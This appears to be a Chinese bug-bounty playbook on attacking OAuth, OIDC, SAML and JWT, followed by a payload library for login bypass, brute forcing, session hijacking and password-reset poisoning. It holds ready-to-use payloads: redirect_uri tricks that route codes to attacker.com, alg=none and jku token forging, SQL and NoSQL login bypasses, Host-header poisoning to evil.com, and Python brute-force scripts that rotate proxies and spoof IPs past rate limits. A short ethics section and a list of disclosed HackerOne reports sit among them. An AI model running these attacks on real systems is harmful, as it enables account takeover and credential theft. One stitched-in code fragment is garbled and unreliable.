# OAuth / OIDC / SAML / JWT > 视角:黑盒,目标是绕过认证 / 伪造 token / 接管账号 ## 1. 一句话说清 OAuth/OIDC/SAML 是把"认证"外包给第三方 IdP;JWT 是常用的 token 格式。 SRC 价值:能伪造任意用户身份 = P0;能让回调把 code 发到攻击者域 = P0。 --- ## 2. 高频入口点 ``` /oauth/authorize /oauth2/authorize /oauth/token /connect/authorize /.well-known/openid-configuration /saml/login /saml/acs /jwks.json /.well-known/jwks.json 登录后的 Authorization: Bearer eyJ... (JWT) 回调:?code=xxx&state=xxx ``` --- ## 3. 探测手法 ### 3.1 OAuth redirect_uri 校验 ```bash # 1. 子串匹配漏洞 ?redirect_uri=https://target.com.attacker.com ?redirect_uri=https://attacker.com/target.com ?redirect_uri=https://target.com.evil.com # 2. 路径绕过 ?redirect_uri=https://target.com/../attacker.com/cb ?redirect_uri=https://target.com@attacker.com ?redirect_uri=https://target.com#@attacker.com ?redirect_uri=https://target.com%2f@attacker.com ?redirect_uri=https://target.com%5c@attacker.com # 3. URL 解析差异 ?redirect_uri=https://attacker.com\@target.com ?redirect_uri=https://attacker.com%2f%40target.com/cb # 4. 通配符 / 子域 ?redirect_uri=https://attacker.target.com (如果允许 *.target.com) # 5. 大小写 / 编码 ?redirect_uri=HTTPS://target.com.attacker.com ?redirect_uri=https://target.com%2eattacker.com # 6. 空 / 缺失 ?redirect_uri= ?redirect_uri (无值) # 7. CRLF ?redirect_uri=https://target.com%0d%0aLocation:%20https://attacker.com ``` 成功的话 → 把 `code` 发到攻击者的 callback → 用 code 换 token。 ### 3.2 state / nonce 缺失 ``` # 不传 state ?response_type=code&client_id=xxx&redirect_uri=... # 状态机理:state 缺失 → CSRF 登录绑定攻击 1. 攻击者用自己账号在 IdP 上获得 code 2. 诱导受害者访问 /callback?code=ATTACKER_CODE 3. 受害者绑定到攻击者账号 ``` ### 3.3 PKCE 缺失(移动 / SPA) ``` 正常:code_challenge / code_verifier 攻击:拦截 code 后无 verifier 仍能换 token = PKCE 关闭 测试: 1. 看授权请求是否有 code_challenge 参数 2. 没有 → 拦截 code 后用 attacker 的 code_verifier 兑换(实际无 verifier 也行) ``` ### 3.4 JWT 漏洞探针 ```bash # 1. alg=none {"alg":"none","typ":"JWT"}.{...payload...}. ← 空签名 echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 echo -n '{"sub":"admin"}' | base64 -w0 拼成 token:
.. # 2. HS/RS 混淆 # 正常用 RS256(公钥+私钥),改成 HS256(共享密钥) # 用泄露的公钥(或 jwks 里的 n+e)作为 HMAC 密钥伪造 python3 jwt_tool.py -X k -pk public.pem JWT # 3. 弱密钥爆破 hashcat -m 16500 jwt.txt rockyou.txt john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt # 4. kid 路径遍历 / SQL 注入 {"alg":"HS256","kid":"../../../dev/null"} → 用空文件作密钥 {"alg":"HS256","kid":"key1' UNION SELECT 'attacker_secret'--"} # 5. jku 注入(外部 JWKS) {"alg":"RS256","jku":"https://attacker.com/jwks.json"} # 攻击者控制 JWKS → 提供自己的公钥 → 伪造 token # 6. x5u 注入(外部证书) {"alg":"RS256","x5u":"https://attacker.com/cert.pem"} # 7. None 大小写 "alg":"None" / "alg":"NONE" / "alg":"nOnE" # 8. 空签名 直接删掉签名段,留 header.payload.(保留点) ``` 工具: - `jwt_tool` (https://github.com/ticarpi/jwt_tool) - `jwt.io`(手动编辑) - Burp `JWT Editor` 插件 ### 3.5 SAML 攻击 ```xml victim ← 已签名 admin ← 未签名,但应用可能用这个 ``` 工具:`SAMLRaider`(Burp 插件)。 ### 3.6 OIDC discovery 探针 ```bash curl https://target/.well-known/openid-configuration # 看 jwks_uri 是否能被外部控制 # 看 issuer 是否能被改 # 看是否允许 alg=none ``` --- ## 4. Bypass 矩阵 | 拦 | 绕 | |---|---| | redirect_uri 字面比较 | 子串、@ 字符、URL 编码、CRLF、子域 | | state 必填 | 看是否真校验或只是占位 | | PKCE 必启用 | 看授权请求是否真带 code_challenge | | JWT alg=RS256 | 改 HS256 用公钥;改 alg=none | | 服务端校验 jku 域 | DNS Rebinding | | SAML Response 验签 | XSW 包裹 / 修改未签名节点 | | 设备码限频 | 多 client_id 轮询 | --- ## 5. 利用提权 / 横向 ``` redirect_uri 绕过 → code 给攻击者 → 换 token → 用 token 调 API state 缺失 → CSRF 登录绑定 → 受害者数据归攻击者账号 JWT 伪造 → 任意用户身份 → 后台、API 全部沦陷 SAML XSW → 把 Subject 改成 admin → 直接进管理后台 ``` --- ## 6. 真实案例指纹 | 案例 | 一句话 | |------|------| | Slack OAuth | `redirect_uri` 子串校验,加 `@` 旁路 | | Microsoft OAuth | `redirect_uri` 多次报告 | | Auth0 | `state` 缺失导致 CSRF | | 多个 SaaS | `kid` 路径遍历到 `/dev/null` | | 某 Java SAML 实现 | XSW 攻击 | | OWASP JuiceShop | JWT alg=none | 通用指纹: - 授权请求里 `redirect_uri` 接受 `https://target.com@evil.com` 不报错 → 漏洞 - JWT header 含 `"alg":"RS256"`,改成 `"alg":"none"` 应用仍接受 → P0 - JWKS 端点返回 `kid` 列表,应用允许任意 `kid` 选 → 伪造 - SAML Response 的 `Recipient` 不被校验 → 重放 --- ## 7. 复现 / 证据要点 ### 7.1 PoC 模板(redirect_uri 绕过) ``` # 1. 触发授权 GET /oauth/authorize?client_id=xxx&response_type=code&redirect_uri=https://target.com@attacker.com/cb&state=1 # 2. 浏览器跳转到 Location: https://target.com@attacker.com/cb?code=AUTHCODE&state=1 # 3. 攻击者收到 code attacker.com 日志: GET /cb?code=AUTHCODE&state=1 # 4. 用 code 换 token POST /oauth/token grant_type=authorization_code&code=AUTHCODE&redirect_uri=...&client_id=xxx&client_secret=... → 拿到 access_token 即证明,不实际调用业务 API ``` ### 7.2 PoC 模板(JWT alg=none) ``` 原 JWT: eyJhbGciOiJSUzI1NiIs... 伪造(alg=none,sub=admin): echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 echo -n '{"sub":"admin","exp":9999999999}' | base64 -w0 → eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0 拼接:[REDACTED] 请求: Authorization: Bearer <伪造 token> → 服务端响应 200 + admin 权限内容(脱敏截图) ``` ### 7.3 CVSS ``` redirect_uri 绕过 → 账号接管 = 8.1 / 9.1 High–Critical state 缺失 → 登录绑定 CSRF = 6.1 PKCE 缺失(移动) = 5.4 JWT alg=none = 9.8 Critical JWT HS/RS 混淆 = 9.8 Critical SAML XSW = 9.8 Critical ``` ### 7.4 影响段 ``` 通过 /oauth/authorize 接口的 redirect_uri 参数,使用 `https://target.com@attacker.com/cb` 形式可绕过域名校验,将授权码定向至攻击者控制的域。攻击者可: 1. 诱导受害者点击恶意授权链接; 2. 受害者在 IdP 完成登录后,code 被发送到 attacker.com; 3. 攻击者用 code 换取 access_token,完整接管受害者账号。 测试时使用了攻击者控制的两个账号(攻击者 + "受害者"均为研究员账号), 未触及任何真实用户。 ``` --- ## 相关 MCP 工具 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。 | 工具 | 域 | 调用时机 | |---|---|---| | `mcp__jshook__network_extract_auth` | network | 自动从抓包中提取 JWT / OAuth token / cookie | | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | encoding | JWT header / payload base64 改写,签名段单独处理 | | `mcp__jshook__network_replay_request` | network | 修改 redirect_uri / state / nonce 重放 | | `mcp__jshook__debugger_evaluate` | debugger | 在前端追 SAML 断言 / JWT 解析逻辑 | | `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | core / transform | 提取签名函数离线复算 | 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) ## 8. 不要做的事 - **禁**:用 redirect_uri 绕过实际抓真实用户的 code(即使是诱导朋友点击也不行)。用自己的两个账号自演。 - **禁**:JWT 伪造 admin 后实际操作管理后台(删除、修改、创建)。仅证明 200 + admin 内容。 - **禁**:SAML XSW 后实际进行高权限操作。 - **禁**:在 jku 注入 PoC 中托管真实 jwks 长时间在线(用完即删)。 - **限**:JWT 暴力破解只在自己拿到的 token 上离线进行,不要在线打 IdP。 ## H1 真实案例 _共 240 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 | |---|--:|---|---|---| | Critical | — | Shopify | [Takeover an account that doesn't have a Shopify ID and more](https://hackerone.com/reports/867513) | Details The https://pos-channel.shopifycloud.com/graphql-proxy/admin can be exploited to update a staff member email without an… | | Critical | — | Shopify | [Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation to Any …](https://hackerone.com/reports/791775) | I told Pete I would take a look at Spotify, hi Pete. Summary It's possible to take over any store account through bypassing the… | | Critical | — | Snapchat | [Improper Authentication - any user can login as other user with otp/logout & otp/login](https://hackerone.com/reports/921780) | '/scauth/otp/droid/logout' request contains user_id parameter. Usually it is equal to current user user_id, but if an attacker … | | Critical | — | Shopify | [[Part II] Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation](https://hackerone.com/reports/796808) | Summary In #791775, I submitted a bug at Sunday 5pm Canada time, it was triaged two hours later, and I got the **temp** fix mes… | | Critical | — | Flickr | [Flickr Account Takeover using AWS Cognito API](https://hackerone.com/reports/1342088) | Flickr uses Amazon Cognito to implement its login functionality. Furthermore, Flickr does not allow users to change their regis… | | High | — | Uber | [Chained Bugs to Leak Victim's Uber's FB Oauth Token](https://hackerone.com/reports/202781) | Chained Bugs to Leak Victim's Uber's FB Oauth Token | | Critical | 15000 usd | TikTok | [Incorrect authorization to the intelbot service leading to ticket information](https://hackerone.com/reports/1328546) | Incorrect authorization to the intelbot service leading to ticket information | | High | 10500 usd | Superhuman (formerly Grammarly) | [Ability to DOS any organization's SSO and open up the door to account takeovers](https://hackerone.com/reports/976603) | Summary:** There's an interesting issue I've spent quite a few days trying to escalate but can't figure out | | High | 13000 usd | Stripe | [Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/](https://hackerone.com/reports/1685970) | Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/ | | High | 7500 usd | Snapchat | [Stealing SSO Login Tokens (snappublisher.snapchat.com)](https://hackerone.com/reports/265943) | Description Attacker can steal SSO login tokens for snappublisher.snapchat.com by chaining different flaws in SSO and Snapchat’… | | High | — | X / xAI | [Bypass Password Authentication for updating email and phone number - Security Vulnerability](https://hackerone.com/reports/770504) | Summary:** [Additional requirement for authentication is an extra layer of security for a person's Twitter account | | Critical | 12000 usd | TikTok | [Account Takeover via Authentication Bypass in TikTok Account Recovery](https://hackerone.com/reports/2443228) | Account Takeover via Authentication Bypass in TikTok Account Recovery | **命中本类的 weakness 分布:** - Improper Authentication - Generic:123 条 - Uncategorized → 手工归类:30 条 - Cryptographic Issues - Generic:18 条 - Improper Certificate Validation:12 条 - Authentication Bypass Using an Alternate Path or Channel:12 条 - Open Redirect:10 条 - Insufficient Session Expiration:4 条 - Reliance on Cookies without Validation and Integrity Checking in a Security Decision:3 条 - Authentication Bypass by Primary Weakness:2 条 - Missing Required Cryptographic Step:2 条 - Authentication Bypass:2 条 - Use of Hard-coded Cryptographic Key:2 条 - Key Exchange without Entity Authentication:2 条 - Reliance on Untrusted Inputs in a Security Decision:2 条 - Use of a Broken or Risky Cryptographic Algorithm:2 条 - Session Fixation:2 条 - Storing Passwords in a Recoverable Format:2 条 - Plaintext Storage of a Password:2 条 - Unverified Password Change:2 条 - Use of Insufficiently Random Values:1 条 - Missing Critical Step in Authentication:1 条 - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG):1 条 - Weak Cryptography for Passwords:1 条 - Reusing a Nonce, Key Pair in Encryption:1 条 - Use of a Key Past its Expiration Date:1 条 ## Payload 库 _17 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_ **类别分布:** 认证漏洞 (10) · JWT安全 (4) · 开放重定向 (3) ### · 认证漏洞 ### 认证绕过 `auth-bypass` Web应用认证绕过技术 子类:**认证绕过** · tags: `auth` `bypass` `authentication` **前置条件:** 目标存在认证机制;认证实现存在缺陷 **攻击链:** **1. SQL注入绕过** _SQL注入绕过登录_ ``` admin'-- admin' OR '1'='1 ``` **2. 数组绕过** _PHP数组绕过_ ``` user[]=admin&pass[]=admin ``` **3. 类型转换** _类型转换绕过_ ``` # PHP类型转换绕过 - 数组与类型混淆: # 1. 数组绕过密码比较(strcmp绕过): POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded user=admin&pass[]=1 # strcmp(array, string) 在PHP中返回NULL,NULL == 0 为true # 2. 松散比较绕过: POST /login HTTP/1.1 Content-Type: application/json, syntaxBreakdown: [ { part: ''', explanation: { zh: '闭合引号', en: 'Close quote' }, type: 'char' }, { part: 'OR', explanation: { zh: '逻辑或', en: 'Logical OR' }, type: 'keyword' }, { part: '--', explanation: { zh: 'SQL注释', en: 'SQL comment' }, type: 'operator' } ] {"user":"admin","pass":true} # true == "any_string" 在PHP松散比较中为true # 3. 数字型字符串绕过: {"user":"admin","pass":0} # 0 == "password_string" 在PHP中为true(PHP < 8.0) ``` **4. JSON绕过** _NoSQL绕过_ ``` {"user":"admin","pass":{"$ne":""}} ``` **5. IP伪造** _IP伪造绕过_ ``` X-Forwarded-For: 127.0.0.1 X-Original-URL: /admin ``` **6. HTTP方法** _HTTP方法绕过_ ``` # HTTP方法篡改绕过认证: # 1. 尝试不同HTTP方法: curl -X POST "http://target.com/admin" -v curl -X PUT "http://target.com/admin" -v curl -X PATCH "http://target.com/admin" -v curl -X DELETE "http://target.com/admin" -v curl -X OPTIONS "http://target.com/admin" -v # 2. 方法覆盖头: curl -X POST -H "X-HTTP-Method-Override: PUT" "http://target.com/admin" curl -X POST -H "X-Method-Override: DELETE" "http://target.com/admin" # 3. URL路径穿越绕过: curl "http://target.com/admin/..;/admin" curl "http://target.com/;/admin" curl "http://target.com/%2e%2e/admin" ``` **WAF/EDR 绕过变体:** **1. HTTP方法篡改与路径规范化** _使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制,利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配_ ``` # HTTP方法篡改: GET /admin HTTP/1.1 → 403 POST /admin HTTP/1.1 → 200 PATCH /admin HTTP/1.1 OPTIONS /admin HTTP/1.1 X-HTTP-Method: PUT X-HTTP-Method-Override: DELETE # 路径规范化: /admin → 403 /ADMIN → 200 /admin/ → 200 //admin → 200 /./admin → 200 /admin..;/ → 200 /%61dmin → 200 ``` **2. HTTP/2伪头与请求拆分** _利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL,通过IP伪造头绕过基于来源的认证_ ``` # HTTP/2伪头绕过: :method: GET :path: /admin :authority: target.com X-Original-URL: /admin X-Rewrite-URL: /admin # Header注入: Host: target.com X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-Host: localhost ``` --- ### 暴力破解 `auth-brute` 自动化密码猜测攻击 子类:**暴力破解** · tags: `auth` `brute-force` `password` **前置条件:** 无验证码;无锁定策略 **攻击链:** **1. Pitchfork** _多字段同时爆破_ ``` Burp Intruder: Pitchfork模式 ``` **2. Cluster bomb** _笛卡尔积爆破_ ``` Burp Intruder: Cluster bomb模式 ``` **3. 基于响应差异的用户名枚举** _[linux]_ _通过响应状态码/长度/时间的差异来区分有效和无效用户名_ ``` # 通过响应长度/时间差异枚举有效用户名 # 对比有效 vs 无效用户名的响应: curl -s -o /dev/null -w "user=admin: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=admin&password=wrong" "http://target.com/login" curl -s -o /dev/null -w "user=xxxxx: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=nonexistent_user_xxxxx&password=wrong" "http://target.com/login" # 批量枚举(注意响应差异): for user in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do resp=$(curl -s -o /tmp/resp.txt -w "%{http_code}:%{size_download}:%{time_total}" -d "username=${user}&password=test" "http://target.com/login") echo "${user}: ${resp}" sleep 1 done ``` **4. 验证码/OTP爆破与绕过** _针对OTP验证码的爆破和各种逻辑绕过手法_ ``` # 场景1: 4-6位数字验证码爆破 # 检测验证码是否有速率限制: for i in $(seq 1 10); do code=$(printf "%06d" $RANDOM | cut -c1-6) resp=$(curl -s -o /dev/null -w "%{http_code}" -d "otp=${code}" "http://target.com/verify-otp") echo "Attempt ${i}: otp=${code} → HTTP ${resp}" done # 场景2: 通过修改响应绕过前端验证码校验 # 抓包修改响应 {"success":false} → {"success":true} # 场景3: 验证码复用(同一验证码多次有效) # 获取验证码后,用同一验证码尝试不同账户 # 场景4: 验证码泄露在响应中 curl -v -d "phone=13800138000&action=send_code" "http://target.com/api/sms" # 检查响应头/响应体是否包含验证码 ``` **5. 分布式暴力破解与IP轮换** _使用代理池轮换IP避免被封禁,进行分布式暴力破解_ ``` # 使用代理池进行分布式爆破: import requests import itertools from concurrent.futures import ThreadPoolExecutor TARGET = "http://target.com/login" proxies_list = open("proxies.txt").read().splitlines() usernames = ["admin", "administrator", "root", "test"] passwords = open("/usr/share/wordlists/rockyou-top1000.txt").read().splitlines() proxy_cycle = itertools.cycle(proxies_list) def try_login(combo): user, pwd = combo proxy = next(proxy_cycle) try: r = requests.post(TARGET, data={"username": user, "password": pwd}, proxies={"http": proxy, "https": proxy}, timeout=10, headers={"User-Agent": f"Mozilla/5.0 (rv:{hash(proxy)%90+10}.0)"} ) if r.status_code == 302 or "dashboard" in r.text.lower(): print(f"[+] FOUND: {user}:{pwd} via {proxy}") return (user, pwd) except: pass return None combos = [(u,p) for u in usernames for p in passwords] with ThreadPoolExecutor(max_workers=5) as pool: results = list(pool.map(try_login, combos)) found = [r for r in results if r] for f in found: print(f"[+] Valid: {f[0]}:{f[1]}") ``` **WAF/EDR 绕过变体:** **1. 速率限制绕过(HTTP头伪造)** _通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制_ ``` # 通过伪造IP头绕过基于IP的速率限制: import requests import random TARGET = "http://target.com/login" headers_rotation = [ "X-Forwarded-For", "X-Real-IP", "X-Originating-IP", "X-Remote-Addr", "X-Client-IP", "X-Remote-IP", "CF-Connecting-IP", "True-Client-IP", "Forwarded" ] def brute_with_header_bypass(username, password): fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"} for header in headers_rotation: h[header] = fake_ip r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10) return r # 每次请求使用不同伪造IP passwords = ["admin", "123456", "password", "admin123", "root"] for pwd in passwords: r = brute_with_header_bypass("admin", pwd) print(f"admin:{pwd} → {r.status_code} ({len(r.text)})") ``` **2. 参数污染与大小写绕过** _通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测_ ``` # 参数污染绕过: # 正常请求(被限制): curl -d "username=admin&password=test" "http://target.com/login" # 参数重复(某些后端取最后一个值): curl -d "username=admin&username=admin&password=test" "http://target.com/login" # JSON格式切换(如果支持): curl -H "Content-Type: application/json" -d '{"username":"admin","password":"test"}' "http://target.com/login" # 大小写混淆: curl -d "Username=admin&Password=test" "http://target.com/login" curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login" # Unicode混淆: curl -d "username=admin&password=test" "http://target.com/login" # 额外参数注入: curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login" # 不同编码: curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037" ``` --- ### 会话劫持 `auth-session` 利用会话管理缺陷劫持或伪造用户会话,获取未授权访问权限 子类:**会话管理** · tags: `auth` `session` `hijack` **前置条件:** 目标使用基于Cookie或Token的会话管理;可以截获或预测会话标识符;网络通信未完全加密(HTTP)或存在XSS **攻击链:** **1. 会话Cookie属性分析** _[linux]_ _分析目标会话Cookie的安全属性配置_ ``` # 检测Cookie安全属性 curl -v "http://target.com/login" 2>&1 | grep -i "set-cookie" # 检查关键属性: # - HttpOnly: 防止JS读取Cookie # - Secure: 仅通过HTTPS传输 # - SameSite: 防止CSRF # - Path/Domain: Cookie作用域 # - Expires/Max-Age: 会话生命周期 # 批量分析Cookie: curl -c - "http://target.com/login" -d "user=test&pass=test" 2>/dev/null | tail -5 ``` **2. 会话固定攻击(Session Fixation)** _[linux]_ _通过预设sessionId使受害者登录后攻击者可以复用该会话_ ``` # 1. 攻击者获取一个有效的sessionId curl -c cookies.txt "http://target.com/" cat cookies.txt | grep -i "session|jsession|phpsess" # 2. 构造包含固定sessionId的链接诱使受害者登录 # http://target.com/login;jsessionid=ATTACKER_SESSION_ID # 或通过Set-Cookie注入: # http://target.com/page?lang=en%0d%0aSet-Cookie:%20PHPSESSID=FIXED_SESSION # 3. 受害者使用该sessionId登录后,攻击者直接使用同一sessionId curl -b "PHPSESSID=FIXED_SESSION" "http://target.com/dashboard" ``` **3. 会话劫持(HTTP嗅探)** _[linux]_ _在未加密的HTTP通信中截获会话Cookie_ ``` # 在同一网络中嗅探HTTP Cookie (需要中间人位置) # 使用Wireshark过滤: http.cookie contains "session" or http.cookie contains "PHPSESSID" # 或使用tcpdump: tcpdump -i eth0 -A -s 0 'port 80 and (tcp[((tcp[12:1]&0xf0)>>2):4] = 0x436F6F6B)' # 获取Cookie后直接使用: curl -b "PHPSESSID=STOLEN_SESSION_ID" "http://target.com/admin/dashboard" ``` **4. 会话预测(弱随机性)** _[linux]_ _通过收集多个sessionId分析其生成规律,预测有效的会话标识符_ ``` # 批量收集sessionId分析规律 for i in $(seq 1 20); do sid=$(curl -sI "http://target.com/" | grep -i "set-cookie" | grep -oP "(?<=PHPSESSID=)[^;]+") echo "$i: $sid" sleep 0.5 done # 使用Burp Suite Sequencer分析随机性 # 或Python分析: # python3 -c " # import hashlib, time # # 如果sessionId基于时间戳: # for t in range(int(time.time())-100, int(time.time())+100): # predicted = hashlib.md5(str(t).encode()).hexdigest() # print(predicted) # " ``` **WAF/EDR 绕过变体:** **1. Cookie Jar溢出与Cookie Tossing** _通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie,或利用子域名权限向父域注入恶意Cookie实现会话覆盖_ ``` # Cookie Jar溢出: # 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出: for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`} # 原有session Cookie被挤出后可注入攻击者的session # Cookie Tossing(子域注入): # 从subdomain.target.com设置Cookie: document.cookie="session=ATTACKER_SID;domain=.target.com;path=/" # 该Cookie在主域target.com上也生效 ``` **2. SameSite绕过与跨站会话泄露** _利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求_ ``` # SameSite=Lax绕过(顶级导航GET请求携带Cookie): click # Lax模式下GET请求会携带Cookie # SameSite=None利用(需Secure): # 如果设置了SameSite=None但缺少Secure属性: # Chrome会拒绝,但旧浏览器可能接受 # 通过window.open绕过: window.open("http://target.com/api/userinfo") # 新窗口属于顶级导航,Lax模式下携带Cookie ``` --- ### 密码重置漏洞 `auth-password-reset` 绕过密码重置流程 子类:**逻辑漏洞** · tags: `auth` `password-reset` `logic` **前置条件:** 密码重置功能存在逻辑缺陷 **攻击链:** **1. Host头投毒** _重置链接指向攻击者域名_ ``` # Host头投毒劫持密码重置链接: # 1. 基础Host头投毒: POST /forgot-password HTTP/1.1 Host: evil.com Content-Type: application/x-www-form-urlencoded email=victim@target.com # 重置链接将变为: http://evil.com/reset?token=xxx # 2. X-Forwarded-Host投毒: POST /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com email=victim@target.com # 3. 双Host头: POST /forgot-password HTTP/1.1 Host: target.com Host: evil.com email=victim@target.com # 4. 通过Burp Collaborator验证: Host: BURP-COLLABORATOR-ID.burpcollaborator.net ``` **2. Token爆破** _验证码过短_ ``` # 密码重置验证码爆破: # 1. 发送重置验证码请求: curl -d "email=victim@target.com" "http://target.com/forgot-password" # 2. 四位数字验证码爆破(0000-9999): # Burp Intruder设置: POST /reset-password HTTP/1.1 Content-Type: application/x-www-form-urlencoded email=victim@target.com&code=§0000§ # Payload: Numbers, From 0, To 9999, Min/Max 4 digits # 3. 六位验证码爆破(需更多时间): import requests for code in range(0, 999999): r = requests.post('http://target.com/reset-password', data={'email':'victim@target.com','code':f'{code:06d}'}) if 'success' in r.text or r.status_code == 302: print(f'Valid code: {code:06d}') break ``` **3. 密码重置Token可预测性分析** _分析密码重置Token的生成规律,判断是否可预测_ ``` # 批量请求密码重置Token分析规律: import requests import time import hashlib tokens = [] for i in range(10): r = requests.post("http://target.com/api/password-reset", data={"email": f"test{i}@example.com"}) # 从邮件API或响应中获取token if "token" in r.text: import json token = json.loads(r.text).get("token", "") tokens.append({"time": time.time(), "token": token}) print(f"Token {i}: {token}") time.sleep(0.5) # 分析Token模式: for i, t in enumerate(tokens): print(f"Token {i}: len={len(t['token'])}, " f"hex={'yes' if all(c in '0123456789abcdef' for c in t['token'].lower()) else 'no'}, " f"time={t['time']}") # 检查是否基于时间戳: for ts in range(int(tokens[0]['time'])-5, int(tokens[0]['time'])+5): candidate = hashlib.md5(str(ts).encode()).hexdigest() if candidate == tokens[0]['token']: print(f"[+] Token is MD5(timestamp)! Predictable!") ``` **4. 密码重置流程逻辑缺陷** _测试密码重置流程中的各种逻辑漏洞_ ``` # 1. 参数篡改 - 修改邮箱/手机号: # 发送重置请求时替换接收邮箱 curl -d "email=victim@target.com¬ify_email=attacker@evil.com" "http://target.com/api/password-reset" # 2. IDOR - 直接使用他人的重置Token/UID: curl -d "token=VALID_TOKEN&uid=OTHER_USER_ID&new_password=hacked123" "http://target.com/api/password-reset/confirm" # 3. 步骤跳过 - 直接访问设置新密码页面: curl -d "uid=123&new_password=test12345" "http://target.com/api/password-reset/set-password" # 4. Token不失效 - 使用已用过的Token: curl -d "token=ALREADY_USED_TOKEN&new_password=newpass123" "http://target.com/api/password-reset/confirm" # 5. 密码重置投毒(Host头注入): curl -H "Host: evil.com" -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/api/password-reset" # 受害者收到的重置链接: http://evil.com/reset?token=xxx ``` **WAF/EDR 绕过变体:** **1. Host头投毒多种变体绕过** _Host头投毒的多种WAF绕过变体_ ``` # 标准Host头投毒: curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # X-Forwarded-Host(常被Web框架信任): curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # 多Host头: curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot" # Host中注入端口: curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot" curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot" # 绝对URL覆盖Host: curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot" # X-Original-URL / X-Rewrite-URL: curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot" ``` **2. Token爆破速率限制绕过** _通过IP头轮换和UA随机化绕过重置Token爆破的速率限制_ ``` # IP轮换绕过速率限制: import requests import random def try_token(token, proxy=None): headers = { "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}", "User-Agent": random.choice([ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" ]) } r = requests.post("http://target.com/reset-password", data={"token": token, "new_password": "Test123!"}, headers=headers, timeout=10) return r.status_code != 400 # 如果Token是6位数字: for i in range(0, 1000000): token = f"{i:06d}" if try_token(token): print(f"[+] Valid token: {token}") break ``` --- ### OAuth漏洞 `auth-oauth` OAuth认证流程漏洞 子类:**OAuth** · tags: `auth` `oauth` `redirect` **前置条件:** 使用OAuth登录 **攻击链:** **1. CSRF攻击** _缺乏state参数_ ``` # OAuth CSRF - 强制账号绑定攻击: # 1. 获取攻击者的OAuth授权码: # 正常走OAuth流程到callback但不完成 # 截获: http://target.com/callback?code=ATTACKER_CODE # 2. 构造CSRF页面: # 3. 受害者访问该页面后,其账号将绑定攻击者的OAuth账号 # 4. 攻击者可通过OAuth登录受害者账号 # 防御检测: 检查授权请求是否携带state参数 ``` **2. Redirect URI** _重定向到攻击者获取Code_ ``` redirect_uri=http://attacker.com ``` **3. OAuth State参数缺失/可预测CSRF** _检测OAuth流程中state参数的缺失或可预测性_ ``` # 1. 检测state参数是否存在: # 访问OAuth授权URL,查看是否有state参数 curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code" # 2. 如果没有state参数 → CSRF绑定攻击: # 攻击者用自己的OAuth账号发起授权,获取code # 构造链接: http://target.com/callback?code=ATTACKER_CODE # 发给受害者 → 受害者的账户绑定了攻击者的OAuth账号 # 3. 如果state可预测: # 多次请求获取state值分析规律 for i in $(seq 1 5); do state=$(curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code" | grep -i "location" | grep -oP "state=([^&]+)" | cut -d= -f2) echo "State $i: $state" sleep 0.5 done ``` **4. Token窃取与Scope越权** _OAuth 